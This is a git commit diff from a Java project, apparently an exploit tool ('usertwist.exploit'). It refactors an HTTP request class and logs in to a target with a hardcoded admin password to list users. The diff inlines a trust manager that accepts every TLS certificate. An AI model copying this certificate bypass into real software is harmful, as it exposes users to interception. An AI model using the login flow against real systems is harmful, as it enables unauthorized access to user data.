2 Commits

Author SHA1 Message Date
0142689374 Removed SSLBypass class 2024-08-06 08:48:07 +02:00
d08de128b2 Create HttpClient in Request constructor 2024-08-02 14:21:57 +02:00
4 changed files with 58 additions and 53 deletions

6
.idea/git_toolbox_blame.xml generated Normal file
View File

@@ -0,0 +1,6 @@
<?xml version="1.0" encoding="UTF-8"?>
<project version="4">
<component name="GitToolBoxBlameSettings">
<option name="version" value="2" />
</component>
</project>

View File

@@ -24,12 +24,14 @@ public class Main {
public static String password = "AdminSecret1C";
public static String port = "443";
public static int rotation = 4;
public static boolean insecure = false;
public static boolean asynchronous = true;
public static Request requestClient;
public static void main(String[] args) throws IOException, InterruptedException, NoSuchAlgorithmException, KeyManagementException {
BufferedReader reader = new BufferedReader(new InputStreamReader(System.in));
requestClient = new Request(false);
if (Arrays.asList(args).contains("--synchronous") || Arrays.asList(args).contains("-s")) {
asynchronous = false;
}
@@ -69,7 +71,7 @@ public class Main {
boolean tokenFound = false;
while (!tokenFound) {
try {
response = Request.get(link, port, "/login", requestJSON, null, insecure);
response = requestClient.get(link, port, "/login", requestJSON, null);
if (response.statusCode() == 308) {
System.err.println("The server is trying to force HTTPS use. Would you like to retry with HTTPS ? [Y/n]");
if (reader.readLine().equalsIgnoreCase("n")) {
@@ -88,7 +90,7 @@ public class Main {
System.err.println("Operation aborted ! Security failure.");
System.exit(1);
} else {
insecure = true;
requestClient = new Request(true);
}
} catch (SSLException e) {
if (e.getMessage().contains("plaintext connection?")) {
@@ -108,8 +110,6 @@ public class Main {
System.exit(1);
}
System.out.println(response.statusCode());
JSONObject responseObject = new JSONObject(response.body());
String token = responseObject.optString("token");
@@ -124,7 +124,7 @@ public class Main {
Map<String, String> headers = new HashMap<>();
headers.put("Authorization", "Bearer " + token);
response = Request.get(link, port, "/references", requestJSON, headers, insecure);
response = requestClient.get(link, port, "/references", requestJSON, headers);
JSONArray usersArray = new JSONArray(response.body());
System.out.println(usersArray.length() + " users found !");

View File

@@ -3,8 +3,11 @@ package fr.motysten.usertwist.exploit.tools;
import org.json.JSONObject;
import javax.net.ssl.SSLContext;
import javax.net.ssl.SSLEngine;
import javax.net.ssl.TrustManager;
import javax.net.ssl.X509ExtendedTrustManager;
import java.io.IOException;
import java.net.Socket;
import java.net.URI;
import java.net.http.HttpClient;
import java.net.http.HttpRequest;
@@ -12,20 +15,59 @@ import java.net.http.HttpResponse;
import java.security.KeyManagementException;
import java.security.NoSuchAlgorithmException;
import java.security.SecureRandom;
import java.security.cert.X509Certificate;
import java.util.Map;
public class Request {
public static HttpResponse<String> get(String link, String port, String endpoint,JSONObject params, Map<String, String> headers, boolean insecure) throws NoSuchAlgorithmException, KeyManagementException, IOException, InterruptedException {
HttpClient client = HttpClient.newHttpClient();
private final HttpClient client;
public Request(boolean insecure) throws NoSuchAlgorithmException, KeyManagementException {
HttpClient.Builder builder = HttpClient.newBuilder();
if (insecure) {
SSLContext customContext = SSLContext.getInstance("TLS");
customContext.init(null, new TrustManager[]{new SSLBypass()}, new SecureRandom());
customContext.init(null, new TrustManager[]{new X509ExtendedTrustManager() {
@Override
public void checkClientTrusted(X509Certificate[] x509Certificates, String s, Socket socket) {
client = HttpClient.newBuilder().sslContext(customContext).build();
}
@Override
public void checkServerTrusted(X509Certificate[] x509Certificates, String s, Socket socket) {
}
@Override
public void checkClientTrusted(X509Certificate[] x509Certificates, String s, SSLEngine sslEngine) {
}
@Override
public void checkServerTrusted(X509Certificate[] x509Certificates, String s, SSLEngine sslEngine) {
}
@Override
public void checkClientTrusted(X509Certificate[] x509Certificates, String s) {
}
@Override
public void checkServerTrusted(X509Certificate[] x509Certificates, String s) {
}
@Override
public X509Certificate[] getAcceptedIssuers() {
return new X509Certificate[0];
}
}}, new SecureRandom());
builder.sslContext(customContext);
}
this.client = builder.build();
}
public HttpResponse<String> get(String link, String port, String endpoint,JSONObject params, Map<String, String> headers) throws IOException, InterruptedException {
HttpRequest.Builder builder = HttpRequest.newBuilder(URI.create(link + ":" + port + endpoint));
if (headers != null) {
for (Map.Entry<String, String> header : headers.entrySet()) {

View File

@@ -1,43 +0,0 @@
package fr.motysten.usertwist.exploit.tools;
import javax.net.ssl.SSLEngine;
import javax.net.ssl.X509ExtendedTrustManager;
import java.net.Socket;
import java.security.cert.X509Certificate;
public class SSLBypass extends X509ExtendedTrustManager {
@Override
public void checkClientTrusted(X509Certificate[] x509Certificates, String s, Socket socket) {
}
@Override
public void checkServerTrusted(X509Certificate[] x509Certificates, String s, Socket socket) {
}
@Override
public void checkClientTrusted(X509Certificate[] x509Certificates, String s, SSLEngine sslEngine) {
}
@Override
public void checkServerTrusted(X509Certificate[] x509Certificates, String s, SSLEngine sslEngine) {
}
@Override
public void checkClientTrusted(X509Certificate[] x509Certificates, String s) {
}
@Override
public void checkServerTrusted(X509Certificate[] x509Certificates, String s) {
}
@Override
public X509Certificate[] getAcceptedIssuers() {
return new X509Certificate[0];
}
}